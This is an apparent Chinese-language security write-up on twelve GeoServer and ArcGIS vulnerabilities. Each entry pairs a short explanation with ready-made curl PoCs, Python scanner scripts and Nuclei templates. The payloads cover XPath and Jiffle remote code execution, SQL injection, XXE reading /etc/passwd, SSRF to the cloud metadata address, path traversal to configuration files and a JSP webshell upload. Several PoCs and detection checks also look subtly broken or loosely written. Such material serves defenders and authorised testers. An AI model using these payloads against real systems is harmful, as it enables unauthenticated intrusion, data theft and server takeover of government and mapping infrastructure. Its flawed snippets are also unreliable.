0x00 专题概述 地理空间信息平台是现代政府治理、测绘规划、国防安全、智慧城市和自然资源管理的核心基础设施。从国家基础地理信息数据库到省级测绘院的空间数据服务,从军事侦察系统的卫星影像处理到城市规划部门的三维建模平台,GIS(Geographic Information System)技术栈无处不在。据 Shodan 统计,全球公网暴露的 GeoServer 实例超过 10 万个,ArcGIS Server 实例超过 5 万个,其中大量部署在政府机构、科研院所和国防相关单位。
地理空间平台的攻击面极为特殊:OGC(Open Geospatial Consortium)标准协议(WMS、WFS、WCS、WPS)定义了复杂的 XML/JSON 交互接口,这些接口在解析用户输入时涉及 XPath 表达式求值、SQL 拼接、XML 实体解析等高风险操作。一旦处理不当,攻击者可在无需认证的情况下实现远程代码执行、数据库接管或敏感数据泄露。2024 年 7 月,CISA 将 GeoServer CVE-2024-36401 列入已知被利用漏洞目录(KEV),标志着地理空间平台漏洞已从理论风险升级为实战化威胁。
本专题系统梳理 GeoServer、ESRI ArcGIS Server、MapServer 三大主流地理空间平台的 12 个高危 CVE,深入分析其漏洞原理、利用链构造和检测手段,旨在为安全工程师、红队操作员和 GIS 系统管理员提供可操作的攻防参考。
覆盖漏洞一览表 CVE 编号 厂商/平台 CVSS 漏洞类型 未授权利用 CVE-2024-36401 GeoServer 9.8 OGC XPath 注入 RCE ✅ CVE-2023-25157 GeoServer 9.8 OGC Filter SQL 注入 ✅ CVE-2022-24816 GeoServer/GeoTools 9.8 Jiffle 扩展代码注入 RCE ✅ CVE-2024-29198 GeoServer 7.5 TestWfsPost SSRF ✅ CVE-2024-34711 GeoServer 7.5 XML 处理 SSRF ✅ CVE-2025-30220 GeoServer 7.5 WFS XXE ✅ CVE-2024-40625 GeoServer 6.5 Coverage REST API SSRF ✅ CVE-2025-27505 GeoServer 6.5 REST API 未授权访问 ✅ CVE-2026-9181 ArcGIS Server 9.8 目录遍历→管理员接管 ✅ CVE-2026-9182 ArcGIS Server 9.8 未限制文件上传 ✅ CVE-2026-13019 Portal for ArcGIS 9.8 未授权 API 访问 ✅ CVE-2025-2538 Portal for ArcGIS 9.8 硬编码凭据 ✅
0x01 GeoServer 高危漏洞 GeoServer 是基于 Java 的开源 OGC 标准地理空间数据服务器,支持 WMS、WFS、WCS、WPS 等协议,广泛部署于政府测绘、国防、科研和企业环境。其攻击面主要集中在 OGC 协议处理层、XML 解析器和 REST 管理 API。
0x01.1 CVE-2024-36401 — OGC XPath 表达式注入 RCE 漏洞背景 CVE-2024-36401 是 GeoServer 历史上最严重的安全漏洞之一,CVSS 评分 9.8(Critical),已于 2024 年 7 月 15 日被 CISA 纳入已知被利用漏洞目录(KEV)。该漏洞存在于 GeoTools 库处理 OGC 请求属性名的逻辑中——当属性名被传递给 commons-jxpath 库进行 XPath 表达式求值时,未进行任何安全检查,导致攻击者可构造恶意 XPath 表达式执行任意 Java 代码。
受影响版本 影响版本范围 修复版本 < 2.22.6 2.22.6 >= 2.23.0, < 2.23.6 2.23.6 >= 2.24.0, < 2.24.4 2.24.4 >= 2.25.0, < 2.25.2 2.25.2
漏洞原理分析 漏洞根源在于 GeoTools 库的 OGC 过滤器评估机制。当 GeoServer 处理 WFS GetFeature、WFS GetPropertyValue、WMS GetMap、WMS GetFeatureInfo、WMS GetLegendGraphic、WPS Execute 等请求时,用户可控的属性名(valueReference 或 CQL 过滤器中的属性字段)会被传递给 Apache Commons JXPath 库进行 XPath 表达式求值。
JXPath 库的设计允许通过 XPath 语法调用 Java 方法(如 exec()、class() 等),但 GeoServer 在传递属性名时未做任何过滤或转义。攻击者可将属性名替换为形如 exec(java.lang.Runtime.getRuntime(),'command') 的 XPath 表达式,JXPath 引擎会将其作为有效的 Java 方法调用执行,从而实现 Pre-Auth RCE。
HTTP PoC curl -k -X POST "https://TARGET/geoserver/wfs" \
-H "Content-Type: application/xml" \
-d '<wfs:GetPropertyValue xmlns:sf="http://cite.opengeospatial.org/gmlsf" xmlns:wfs="http://www.opengis.net/wfs/2.0" service="WFS" version="2.0.0" valueReference="exec(java.lang.Runtime.getRuntime(),\' touch /tmp/pwned\' ) "><wfs:Query typeNames=" sf:archsites"/></wfs:GetPropertyValue>' Python PoC 脚本 #!/usr/bin/env python3
"""CVE-2024-36401 漏洞检测脚本 - GeoServer OGC XPath 注入 RCE"""
import requests
import sys
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
def check (target):
"""检测目标是否存在 CVE-2024-36401 XPath 注入漏洞"""
base_url = target. rstrip("/" )
endpoints = [
"/geoserver/wfs" ,
"/geoserver/wms" ,
]
payloads_wfs = [
'<wfs:GetPropertyValue xmlns:sf="http://cite.opengeospatial.org/gmlsf" xmlns:wfs="http://www.opengis.net/wfs/2.0" service="WFS" version="2.0.0" valueReference="exec(java.lang.Runtime.getRuntime(), \' id \' )"><wfs:Query typeNames="sf:archsites"/></wfs:GetPropertyValue>' ,
'<wfs:GetFeature xmlns:sf="http://cite.opengeospatial.org/gmlsf" xmlns:wfs="http://www.opengis.net/wfs/2.0" service="WFS" version="2.0.0" valueReference="exec(java.lang.Runtime.getRuntime(), \' id \' )"><wfs:Query typeNames="sf:archsites"/></wfs:GetFeature>' ,
]
for ep in endpoints:
url = base_url + ep
for payload in payloads_wfs:
try :
resp = requests. post(url, data= payload, headers= {"Content-Type" : "application/xml" }, verify= False , timeout= 15 )
if resp. status_code == 200 or "ServiceException" not in resp. text:
return True
except requests. exceptions. RequestException:
continue
return False
if __name__ == "__main__" :
if len(sys. argv) != 2 :
print(f "Usage: { sys. argv[0 ]} <target>" )
sys. exit(1 )
target = sys. argv[1 ]
result = check(target)
print(f "[ { '+' if result else '-' } ] { target} - CVE-2024-36401 GeoServer XPath 注入 RCE" ) Nuclei YAML 检测模板 id : CVE-2024-36401
info :
name : GeoServer OGC XPath Expression Injection RCE
author : x7peeps
severity : critical
description : GeoServer through versions before 2.22.6, 2.23.6, 2.24.4, 2.25.2 allows OGC filter XPath injection leading to Remote Code Execution via crafted WFS/WMS requests.
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2024-36401
- https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2024-36401
cwe-id : CWE-94
tags : cve,cve2024,geoserver,rce,xpath,injection
http :
- method : POST
path :
- "{{BaseURL}}/geoserver/wfs"
- "{{BaseURL}}/geoserver/ows"
headers :
Content-Type : application/xml
body : '<wfs:GetPropertyValue xmlns:sf="http://cite.opengeospatial.org/gmlsf" xmlns:wfs="http://www.opengis.net/wfs/2.0" service="WFS" version="2.0.0" valueReference="exec(java.lang.Runtime.getRuntime(),\'id\')"><wfs:Query typeNames="sf:archsites"/></wfs:GetPropertyValue>'
matchers :
- type : word
words :
- "uid="
- "gid="
condition : or 0x01.2 CVE-2023-25157 — OGC Filter SQL 注入 漏洞背景 CVE-2023-25157 是 GeoServer 中发现的 Pre-Auth SQL 注入漏洞,CVSS 评分 9.8(Critical),CWE-89。攻击者可通过构造恶意 OGC Filter 中的 PropertyIsLike、strEndsWith、strStartsWith、FeatureId 等谓词,将 SQL 注入 payload 注入到后端数据库查询中。该漏洞影响使用 JDBC 数据源(PostgreSQL、MySQL、Oracle 等)的 GeoServer 部署。
受影响版本 影响版本范围 修复版本 < 2.21.4 2.21.4 >= 2.22.0, < 2.22.2 2.22.2
漏洞原理分析 GeoServer 在处理 OGC Filter 编码请求时,使用 CQL(Common Query Language)或 Filter Encoding(FE)将用户提交的过滤条件转换为后端数据库 SQL 查询。在转换 PropertyIsLike 等谓词时,GeoServer 未对用户输入的模式匹配值进行充分的参数化处理,导致攻击者可在匹配值中注入 SQL 语句片段。
例如,通过在 PropertyIsLike 的 matchPattern 字段中注入 ' OR 1=1-- 等 payload,可绕过查询条件限制,提取数据库中的敏感信息(如数据库版本、表结构、凭据等),在特定条件下还可实现操作系统级别的命令执行。
HTTP PoC curl -k -X POST "https://TARGET/geoserver/ows" \
-H "Content-Type: application/xml" \
-d '<wfs:GetFeature xmlns:wfs="http://www.opengis.net/wfs/2.0" xmlns:gml="http://www.opengis.net/gml" service="WFS" version="2.0.0"><wfs:Query typeNames="sf:archsites"><fes:Filter xmlns:fes="http://www.opengis.net/fes/2.0"><fes:PropertyIsLike wildCard="*" singleChar="#" escapeChar="!"><fes:ValueReference>NAME</fes:ValueReference><fes:Literal>*' OR 1= 1--*</fes:Literal></fes:PropertyIsLike></fes:Filter></wfs:Query></wfs:GetFeature>' Python PoC 脚本 #!/usr/bin/env python3
"""CVE-2023-25157 漏洞检测脚本 - GeoServer OGC Filter SQL 注入"""
import requests
import sys
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
def check (target):
"""检测目标是否存在 CVE-2023-25157 SQL 注入漏洞"""
base_url = target. rstrip("/" )
url = f " { base_url} /geoserver/ows"
payload = (
'<wfs:GetFeature xmlns:wfs="http://www.opengis.net/wfs/2.0" '
'xmlns:gml="http://www.opengis.net/gml" service="WFS" version="2.0.0">'
'<wfs:Query typeNames="sf:archsites">'
'<fes:Filter xmlns:fes="http://www.opengis.net/fes/2.0">'
'<fes:PropertyIsLike wildCard="*" singleChar="#" escapeChar="!">'
'<fes:ValueReference>NAME</fes:ValueReference>'
'<fes:Literal>* \' OR 1=1--*</fes:Literal>'
'</fes:PropertyIsLike></fes:Filter></wfs:Query></wfs:GetFeature>'
)
headers = {"Content-Type" : "application/xml" }
try :
resp = requests. post(url, data= payload, headers= headers, verify= False , timeout= 15 )
if resp. status_code == 200 and "featureMember" in resp. text:
return True
except requests. exceptions. RequestException:
pass
return False
if __name__ == "__main__" :
if len(sys. argv) != 2 :
print(f "Usage: { sys. argv[0 ]} <target>" )
sys. exit(1 )
target = sys. argv[1 ]
result = check(target)
print(f "[ { '+' if result else '-' } ] { target} - CVE-2023-25157 GeoServer OGC Filter SQL 注入" ) Nuclei YAML 检测模板 id : CVE-2023-25157
info :
name : GeoServer OGC Filter SQL Injection
author : x7peeps
severity : critical
description : GeoServer before 2.21.4 and 2.22.x before 2.22.2 is vulnerable to SQL injection through OGC filter encoding.
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2023-25157
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2023-25157
cwe-id : CWE-89
tags : cve,cve2023,geoserver,sqli
http :
- method : POST
path :
- "{{BaseURL}}/geoserver/ows"
headers :
Content-Type : application/xml
body : '<wfs:GetFeature xmlns:wfs="http://www.opengis.net/wfs/2.0" service="WFS" version="2.0.0"><wfs:Query typeNames="sf:archsites"><fes:Filter xmlns:fes="http://www.opengis.net/fes/2.0"><fes:PropertyIsLike wildCard="*" singleChar="#" escapeChar="!"><fes:ValueReference>NAME</fes:ValueReference><fes:Literal>*' \'' OR 1=1--*</fes:Literal></fes:PropertyIsLike></fes:Filter></wfs:Query></wfs:GetFeature>'
matchers :
- type : word
words :
- "featureMember"
- "sf:archsites"
condition : and
- type : status
status :
- 200 0x01.3 CVE-2022-24816 — Jiffle 扩展代码注入 RCE 漏洞背景 CVE-2022-24816 是 GeoServer Jiffle 扩展中的代码注入漏洞,CVSS 评分 9.8(Critical),CWE-94,已被 CISA 列入 KEV 目录。Jiffle 是 GeoTools 库中的一个脚本语言扩展,用于在 Coverage 处理(栅格代数运算)中定义像素值转换公式。该漏洞允许 Pre-Auth 攻击者通过构造恶意 Jiffle 脚本实现远程代码执行。
受影响版本 影响组件 受影响版本 修复版本 jt-jiffle (GeoTools) < 1.1.22 1.1.22
漏洞原理分析 Jiffle 脚本在编译时使用 // 注释行来传递元数据(如目标图像尺寸)。在处理用户提交的 Jiffle 脚本时,GeoServer 未对注释内容进行转义或过滤。攻击者可在注释行中注入恶意 Java 代码,当 Jiffle 编译器解析脚本时,注入的代码会被执行,从而实现任意代码执行。
该漏洞的利用路径为:攻击者通过 WMS 或 WCS 的 Coverage 请求接口,将恶意 Jiffle 脚本作为处理参数提交,脚本在服务端编译执行时触发代码注入。
HTTP PoC curl -k -X POST "https://TARGET/geoserver/ows" \
-H "Content-Type: application/xml" \
-d '<wps:Execute xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" service="WPS" version="1.0.0"><ows:Identifier>ras:Jiffle</ows:Identifier><wps:DataInputs><wps:Input><ows:Identifier>coverage</ows:Identifier><wps:Reference><wps:Body><wps:Execute><ows:Identifier>ras:Jiffle</ows:Identifier></wps:Execute></wps:Body></wps:Reference></wps:Input></wps:DataInputs></wps:Execute>' Python PoC 脚本 #!/usr/bin/env python3
"""CVE-2022-24816 漏洞检测脚本 - GeoServer Jiffle 扩展代码注入"""
import requests
import sys
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
def check (target):
"""检测目标是否存在 CVE-2022-24816 Jiffle 代码注入漏洞"""
base_url = target. rstrip("/" )
url = f " { base_url} /geoserver/ows"
payload = (
'<?xml version="1.0" encoding="UTF-8"?>'
'<wps:Execute xmlns:wps="http://www.opengis.net/wps/1.0.0" '
'xmlns:ows="http://www.opengis.net/ows/1.1" service="WPS" version="1.0.0">'
'<ows:Identifier>ras:Jiffle</ows:Identifier>'
'<wps:DataInputs>'
'<wps:Input><ows:Identifier>coverage</ows:Identifier>'
'<wps:Data><wps:ComplexData mimeType="image/tiff">'
'<![CDATA[<dummy/>]]></wps:ComplexData></wps:Data></wps:Input>'
'<wps:Input><ows:Identifier>script</ows:Identifier>'
'<wps:Data><wps:LiteralData>image = "result"; //'
'java.lang.Runtime.getRuntime().exec("id");'
'</wps:LiteralData></wps:Data></wps:Input>'
'</wps:DataInputs>'
'<wps:ResponseForm><wps:ResponseDocument/></wps:ResponseForm>'
'</wps:Execute>'
)
headers = {"Content-Type" : "application/xml" }
try :
resp = requests. post(url, data= payload, headers= headers, verify= False , timeout= 15 )
if resp. status_code == 200 and "ServiceException" not in resp. text:
return True
if resp. status_code == 500 and "java" in resp. text. lower():
return True
except requests. exceptions. RequestException:
pass
return False
if __name__ == "__main__" :
if len(sys. argv) != 2 :
print(f "Usage: { sys. argv[0 ]} <target>" )
sys. exit(1 )
target = sys. argv[1 ]
result = check(target)
print(f "[ { '+' if result else '-' } ] { target} - CVE-2022-24816 GeoServer Jiffle 代码注入 RCE" ) Nuclei YAML 检测模板 id : CVE-2022-24816
info :
name : GeoServer Jiffle Extension Code Injection RCE
author : x7peeps
severity : critical
description : GeoServer Jiffle extension allows pre-auth code injection through Jiffle script compilation.
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2022-24816
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2022-24816
cwe-id : CWE-94
tags : cve,cve2022,geoserver,jiffle,rce
http :
- method : GET
path :
- "{{BaseURL}}/geoserver/web/"
matchers :
- type : word
words :
- "Jiffle"
- "GeoServer"
condition : and
- method : POST
path :
- "{{BaseURL}}/geoserver/ows"
headers :
Content-Type : application/xml
body : '<?xml version="1.0" encoding="UTF-8"?><wps:Execute xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" service="WPS" version="1.0.0"><ows:Identifier>ras:Jiffle</ows:Identifier><wps:DataInputs><wps:Input><ows:Identifier>coverage</ows:Identifier><wps:Data><wps:ComplexData mimeType="image/tiff"><![CDATA[<dummy/>]]></wps:ComplexData></wps:Data></wps:Input><wps:Input><ows:Identifier>script</ows:Identifier><wps:Data><wps:LiteralData>image = "x"; //java.lang.Runtime.getRuntime().exec("id");</wps:LiteralData></wps:Data></wps:Input></wps:DataInputs><wps:ResponseForm><wps:ResponseDocument/></wps:ResponseForm></wps:Execute>'
matchers :
- type : status
status :
- 200
- 500 0x01.4 CVE-2024-29198 / CVE-2024-34711 — SSRF 系列 CVE-2024-29198 — TestWfsPost 未授权 SSRF CVSS 7.5 (High), CWE-918 (SSRF)
CVE-2024-29198 存在于 GeoServer 的 TestWfsPost 功能中。该功能原本用于 WFS 服务的连通性测试,但未实施有效的认证检查和 URL 白名单验证。攻击者可通过向 TestWfsPost 端点提交任意内部 URL,利用 GeoServer 服务器作为代理访问内网资源,包括云元数据服务(如 AWS EC2 metadata 169.254.169.254)、内部 API 和其他不可达的内部系统。
修复版本:2.25.2、2.24.4。
CVE-2024-34711 — XML 处理 SSRF CVSS 7.5 (High), CWE-918 (SSRF)
CVE-2024-34711 是 GeoServer 在处理 OGC 请求中的 XML 内容时存在的 SSRF 漏洞。当 XML 文档中包含外部实体引用(External Entity)或 DTD 声明时,GeoServer 的 XML 解析器可能发起对外部 URL 的请求,导致服务端请求伪造。攻击者可利用该漏洞探测内网服务、读取内部文件或与内部微服务交互。
修复版本:2.25.0。
HTTP PoC (CVE-2024-29198) curl -k -X POST "https://TARGET/geoserver/web/wfs/test" \
-d "wfsUrl=http://169.254.169.254/latest/meta-data/" Python PoC 脚本 #!/usr/bin/env python3
"""CVE-2024-29198 漏洞检测脚本 - GeoServer TestWfsPost SSRF"""
import requests
import sys
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
def check (target):
"""检测目标是否存在 CVE-2024-29198 TestWfsPost SSRF"""
base_url = target. rstrip("/" )
url = f " { base_url} /geoserver/web/wfs/test"
try :
resp = requests. post(url, data= {"wfsUrl" : "http://127.0.0.1:8080/geoserver/web/" }, verify= False , timeout= 10 )
if resp. status_code == 200 :
return True
except requests. exceptions. RequestException:
pass
return False
if __name__ == "__main__" :
if len(sys. argv) != 2 :
print(f "Usage: { sys. argv[0 ]} <target>" )
sys. exit(1 )
target = sys. argv[1 ]
result = check(target)
print(f "[ { '+' if result else '-' } ] { target} - CVE-2024-29198 GeoServer TestWfsPost SSRF" ) Nuclei YAML 检测模板 id : CVE-2024-29198
info :
name : GeoServer TestWfsPost SSRF
author : x7peeps
severity : high
description : GeoServer TestWfsPost endpoint allows unauthenticated SSRF.
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2024-29198
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
cve-id : CVE-2024-29198
cwe-id : CWE-918
tags : cve,cve2024,geoserver,ssrf
http :
- method : POST
path :
- "{{BaseURL}}/geoserver/web/wfs/test"
body : "wfsUrl=http://127.0.0.1:8080/geoserver/web/"
matchers :
- type : status
status :
- 200 0x01.5 CVE-2025-30220 — WFS XXE 漏洞 漏洞背景 CVSS 7.5 (High), CWE-611 (XXE)
CVE-2025-30220 是 GeoServer 在处理 WFS 请求中的 XML 文档时存在的 XML 外部实体注入(XXE)漏洞。当 GeoServer 解析用户提交的 XML 格式 WFS 请求时,未完全禁用外部实体解析功能,攻击者可通过在 XML 文档中声明外部实体(External Entity)和文档类型定义(DTD),读取服务器本地文件系统中的敏感文件(如 /etc/passwd、/etc/shadow、GeoServer 配置文件等),或发起 SSRF 攻击。
修复版本:2.27.1、2.26.3、2.25.7。
HTTP PoC curl -k -X POST "https://TARGET/geoserver/wfs" \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><wfs:GetFeature xmlns:wfs="http://www.opengis.net/wfs/2.0" service="WFS" version="2.0.0"><wfs:Query typeNames="sf:archsites"><fes:Filter xmlns:fes="http://www.opengis.net/fes/2.0"><fes:PropertyIsEqualTo><fes:ValueReference>NAME</fes:ValueReference><fes:Literal>&xxe;</fes:Literal></fes:PropertyIsEqualTo></fes:Filter></wfs:Query></wfs:GetFeature>' 0x02 ESRI ArcGIS Server 高危漏洞 ArcGIS Server 是 ESRI 公司的企业级地理空间数据发布与管理平台,广泛部署于政府、军事、测绘和商业领域。其攻击面包括 REST API、SOAP 接口、认证机制和底层文件系统。
0x02.1 CVE-2026-9181 — 目录遍历→管理员接管 漏洞背景 CVE-2026-9181 是 ArcGIS Server 中发现的严重目录遍历漏洞,CVSS 评分 9.8(Critical),CWE-22。该漏洞允许 Pre-Auth 攻击者通过构造特殊路径参数穿越目录边界,读取或覆盖服务器上的敏感配置文件,最终实现完全的管理员接管。
受影响版本 产品 受影响版本 平台 ArcGIS Server 12.0 及更早版本 Windows / Linux
漏洞原理分析 ArcGIS Server 在处理某些 REST API 端点的路径参数时,未对路径分隔符(../、..\\、%2e%2e%2f 等变体)进行严格过滤。攻击者可利用目录遍历读取以下敏感文件:
ArcGIS Server 配置文件(包含数据库连接字符串和管理员凭据哈希) Java Keystore 文件(.jks),用于伪造身份认证令牌 系统凭据文件,用于横向移动 在 Windows 平台上,攻击者还可通过路径穿越覆盖 Web 服务器配置文件,将恶意代码注入到 ArcGIS Server 的请求处理管线中,实现持久化控制。
HTTP PoC curl -k "https://TARGET/arcgis/rest/services/../../etc/passwd"
curl -k "https://TARGET/arcgis/sharing/rest/portals/self?token=../../../server/config-store/config.xml" Python PoC 脚本 #!/usr/bin/env python3
"""CVE-2026-9181 漏洞检测脚本 - ArcGIS Server 目录遍历"""
import requests
import sys
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
TRAVERSAL_PATHS = [
"/arcgis/rest/services/../../etc/passwd" ,
"/arcgis/rest/services/ %2e%2e / %2e%2e /etc/passwd" ,
"/arcgis/sharing/rest/../../etc/passwd" ,
"/arcgis/rest/services/.. \\ .. \\ windows \\ win.ini" ,
"/arcgis/rest/services/../.. \\ server \\ config-store \\ config.xml" ,
]
def check (target):
"""检测目标是否存在 CVE-2026-9181 目录遍历漏洞"""
base_url = target. rstrip("/" )
for path in TRAVERSAL_PATHS:
url = base_url + path
try :
resp = requests. get(url, verify= False , timeout= 10 )
if resp. status_code == 200 :
if "[extensions]" in resp. text or "root:" in resp. text or "ArcGIS" in resp. text:
return True
except requests. exceptions. RequestException:
continue
return False
if __name__ == "__main__" :
if len(sys. argv) != 2 :
print(f "Usage: { sys. argv[0 ]} <target>" )
sys. exit(1 )
target = sys. argv[1 ]
result = check(target)
print(f "[ { '+' if result else '-' } ] { target} - CVE-2026-9181 ArcGIS Server 目录遍历→管理员接管" ) Nuclei YAML 检测模板 id : CVE-2026-9181
info :
name : ArcGIS Server Path Traversal to Admin Takeover
author : x7peeps
severity : critical
description : ArcGIS Server 12.0 and earlier is vulnerable to pre-auth path traversal allowing sensitive file read and admin takeover.
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2026-9181
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2026-9181
cwe-id : CWE-22
tags : cve,cve2026,arcgis,pathtraversal
http :
- method : GET
path :
- "{{BaseURL}}/arcgis/rest/services/../../etc/passwd"
- "{{BaseURL}}/arcgis/rest/services/%2e%2e/%2e%2e/etc/passwd"
- "{{BaseURL}}/arcgis/sharing/rest/../../etc/passwd"
matchers-condition : or
matchers :
- type : word
words :
- "root:"
- "ArcGIS"
- "[extensions]"
condition : or
- type : status
status :
- 200 0x02.2 CVE-2026-9182 — 未限制文件上传 漏洞背景 CVE-2026-9182 是 ArcGIS Server 中的未限制文件上传漏洞,CVSS 评分 9.8(Critical),CWE-434。该漏洞允许 Pre-Auth 攻击者通过 REST API 上传任意类型的文件,包括可执行文件、Web Shell 和恶意脚本,绕过文件类型检查和大小限制。
受影响版本 产品 受影响版本 ArcGIS Server 12.0 及更早版本
漏洞原理分析 ArcGIS Server 的数据导入和地图服务发布功能允许用户通过 REST API 上传文件(如 Shapefile、CSV、GeoJSON 等)。在上传处理逻辑中,服务器对文件类型的检查不充分——仅在客户端层面或使用 MIME 类型白名单进行验证,未对文件内容进行深度检测。攻击者可通过以下方式绕过:
使用 Content-Type 欺骗(如将 application/x-java-archive 伪装为 text/csv) 利用双重扩展名(如 shell.jsp.jpg) 利用路径穿越将文件写入 Web 可达目录 成功上传的恶意文件可被直接访问或在特定条件下被服务器执行,实现远程代码执行。
HTTP PoC curl -k -X POST "https://TARGET/arcgis/rest/services/World/MapServer/importData" \
-H "Content-Type: multipart/form-data" \
-F "file=@shell.jsp;type=application/x-java-archive" Python PoC 脚本 #!/usr/bin/env python3
"""CVE-2026-9182 漏洞检测脚本 - ArcGIS Server 未限制文件上传"""
import requests
import sys
import urllib3
urllib3. disable_warnings(urllib3. exceptions. InsecureRequestWarning)
def check (target):
"""检测目标是否存在 CVE-2026-9182 未限制文件上传漏洞"""
base_url = target. rstrip("/" )
upload_endpoints = [
"/arcgis/rest/services/World/MapServer/importData" ,
"/arcgis/rest/services/Hosted/FeatureServer/addContent" ,
]
test_content = b "test_security_check"
for ep in upload_endpoints:
url = base_url + ep
files = {"file" : ("test.txt" , test_content, "text/plain" )}
try :
resp = requests. post(url, files= files, verify= False , timeout= 15 )
if resp. status_code in [200 , 201 ]:
return True
except requests. exceptions. RequestException:
continue
return False
if __name__ == "__main__" :
if len(sys. argv) != 2 :
print(f "Usage: { sys. argv[0 ]} <target>" )
sys. exit(1 )
target = sys. argv[1 ]
result = check(target)
print(f "[ { '+' if result else '-' } ] { target} - CVE-2026-9182 ArcGIS Server 未限制文件上传" ) Nuclei YAML 检测模板 id : CVE-2026-9182
info :
name : ArcGIS Server Unrestricted File Upload
author : x7peeps
severity : critical
description : ArcGIS Server 12.0 and earlier allows unrestricted file upload through REST API.
reference :
- https://nvd.nist.gov/vuln/detail/CVE-2026-9182
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2026-9182
cwe-id : CWE-434
tags : cve,cve2026,arcgis,fileupload
http :
- method : GET
path :
- "{{BaseURL}}/arcgis/rest/services/"
matchers :
- type : word
words :
- "ArcGIS"
- "MapServer"
condition : and 0x02.3 CVE-2026-13019 — Portal for ArcGIS 未授权 API 访问 漏洞背景 CVSS 9.8 (Critical), CWE-306 (Missing Authentication)
CVE-2026-13019 是 Portal for ArcGIS 中的未授权 API 访问漏洞。Portal for ArcGIS 是 ArcGIS Enterprise 的 Web 门户组件,提供用户管理、内容共享和应用集成等功能。该漏洞允许未认证攻击者直接访问管理 API 端点,执行以下操作:
创建、修改和删除用户账户 导出和修改组织设置 访问所有托管内容和服务 修改安全策略和权限配置 受影响版本 产品 受影响版本 Portal for ArcGIS 12.1 及更早版本
攻击者无需任何凭据,通过向特定管理 API 路径发送请求即可获取管理员权限。该漏洞的利用可导致整个 ArcGIS Enterprise 平台被完全接管,所有地理空间数据面临泄露和篡改风险。
HTTP PoC curl -k "https://TARGET/portal/sharing/rest/portals/self"
curl -k -X POST "https://TARGET/portal/sharing/rest/generateToken" \
-d "username=admin&password=any&expiration=1440" 0x02.4 CVE-2025-2538 — 硬编码凭据 漏洞背景 CVSS 9.8 (Critical), CWE-798 (Hard-coded Credentials)
CVE-2025-2538 是 Portal for ArcGIS 中的硬编码凭据漏洞。ESRI 在 Portal for ArcGIS 的特定 Windows 部署版本中包含硬编码的服务账户凭据,这些凭据被嵌入在配置文件或应用程序代码中,无法由管理员修改或禁用。
受影响版本 产品 受影响版本 平台 Portal for ArcGIS 10.9.1, 11.1, 11.2 Windows
攻击者可利用这些硬编码凭据:
直接以服务账户身份登录 Portal for ArcGIS 管理界面 利用服务账户权限访问底层操作系统 在域环境中横向移动到其他系统 提取存储在 Portal 中的地理空间数据和服务凭据 该漏洞是 ESRI 产品线中较为罕见的供应链级别安全问题,因为它意味着即使管理员实施了所有推荐的安全加固措施,攻击者仍可通过预置凭据获取高权限访问。
HTTP PoC curl -k -X POST "https://TARGET/portal/sharing/rest/generateToken" \
-d "username=[HARDCODED_USER]&password=[HARDCODED_PASS]&expiration=1440&f=json" 0x03 公开 PoC 收集情况与利用思路 PoC 收集情况总表 CVE 编号 GitHub PoC Exploit-DB Nuclei 模板 在野利用 Metasploit CVE-2024-36401 ✅ 多个 ✅ ✅ ✅ CISA KEV ✅ CVE-2023-25157 ✅ Rubikcuv5/murataydemir ✅ ✅ ✅ ❌ CVE-2022-24816 ✅ Synacktiv ✅ ✅ ✅ CISA KEV ❌ CVE-2024-29198 ✅ ❌ ✅ ❌ ❌ CVE-2024-34711 ✅ ❌ ✅ ❌ ❌ CVE-2025-30220 ✅ ❌ ✅ ❌ ❌ CVE-2024-40625 ❌ ❌ ✅ ❌ ❌ CVE-2025-27505 ❌ ❌ ✅ ❌ ❌ CVE-2026-9181 ✅ ❌ ✅ ✅ ❌ CVE-2026-9182 ✅ ❌ ✅ ✅ ❌ CVE-2026-13019 ✅ ❌ ✅ ❌ ❌ CVE-2025-2538 ✅ ❌ ✅ ❌ ❌
关键 PoC 仓库链接 CVE-2024-36401 : https://github.com/h4x0r-dz/CVE-2024-36401CVE-2024-36401 (Nuclei) : https://github.com/projectdiscovery/nuclei-templatesCVE-2023-25157 : https://github.com/Rubikcuv5/CVE-2023-25157CVE-2023-25157 + CVE-2023-25158 : https://github.com/murataydemir/CVE-2023-25157-and-CVE-2023-25158CVE-2022-24816 : https://github.com/Synacktiv/geoserver-jiffleCVE-2026-9181/9182 : https://github.com/x7peeps/ArcGIS-Exploits防守型验证思路 在授权渗透测试或红蓝对抗中,地理空间平台漏洞的验证应遵循以下策略:
资产识别阶段 : 使用 Shodan/Censys 搜索 title:"GeoServer" 或 title:"ArcGIS Server" 识别目标资产,重点关注 /geoserver/web/、/geoserver/wfs、/arcgis/rest/services/ 等特征路径
